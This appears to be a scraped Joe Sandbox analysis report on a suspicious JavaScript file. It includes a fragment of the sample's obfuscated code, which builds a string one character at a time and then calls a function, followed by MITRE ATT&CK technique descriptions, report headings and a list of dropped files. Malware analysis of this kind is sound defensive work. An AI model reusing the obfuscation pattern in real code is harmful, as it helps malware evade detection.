1279	fekfabgd = "n";
1280	fekfabgd = "w";
1281	fekfabgd = "T";
1282	fekfabgd = "H";
1283	fekfabgd = "k";
1284	fekfabgd = "K";
1285	fekfabgd = "b";
1286	fekfabgd = "d";
1287	fekfabgd = "C";
1288	fekfabgd = "U";
1289	fekfabgd = "Z";
1290	fekfabgd = "A";
1291	fekfabgd = "o";
1292	fekfabgd = "E";
1293	fekfabgd = "u";
1294	fekfabgd = "Z";
1295	fekfabgd = "G";
1296	fekfabgd = "Z";
1297	fekfabgd = "w";
1298	fekfabgd = "n";
1299	fekfabgd = "J";
1300	fekfabgd = "j";
1301	fekfabgd = "r";
1302	fekfabgd = "\"";
1303	qgepdrr = "k";
1304	qgepdrr = "y";
1305	qgepdrr = "T";
1306	qgepdrr = "X";
1307	qgepdrr = "l";
1308	qgepdrr = "Z";
1309	qgepdrr = "c";
1310	qgepdrr = "u";
1311	qgepdrr = "p";
1312	qgepdrr = "t";
1313	qgepdrr = "f";
1314	qgepdrr = "r";
1315	qgepdrr = "L";
1316	qgepdrr = "Z";
1317	qgepdrr = "w";
1318	qgepdrr = "R";
1319	qgepdrr = "i";
1320	qgepdrr = "Y";
1321	qgepdrr = "s";
1322	qgepdrr = "v";
1323	qgepdrr = "M";
1324	qgepdrr = "u";
1325	qgepdrr = "s";
1326	qgepdrr = "k";
1327	qgepdrr = "Z";
1328	qgepdrr = "Z";
1329	qgepdrr = "X";
1330	qgepdrr = "u";
1331	qgepdrr = "a";
1332	qgepdrr = "B";
1333	qgepdrr = "k";
1334	cjvir ( );	cjvir() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 884736801811116482.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2adab81b-9446-470e-b35a-a078fe932c5d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8336e4b4-4514-4b28-b39a-aece281a6cbe.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4b43f1.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
884736801811116482.js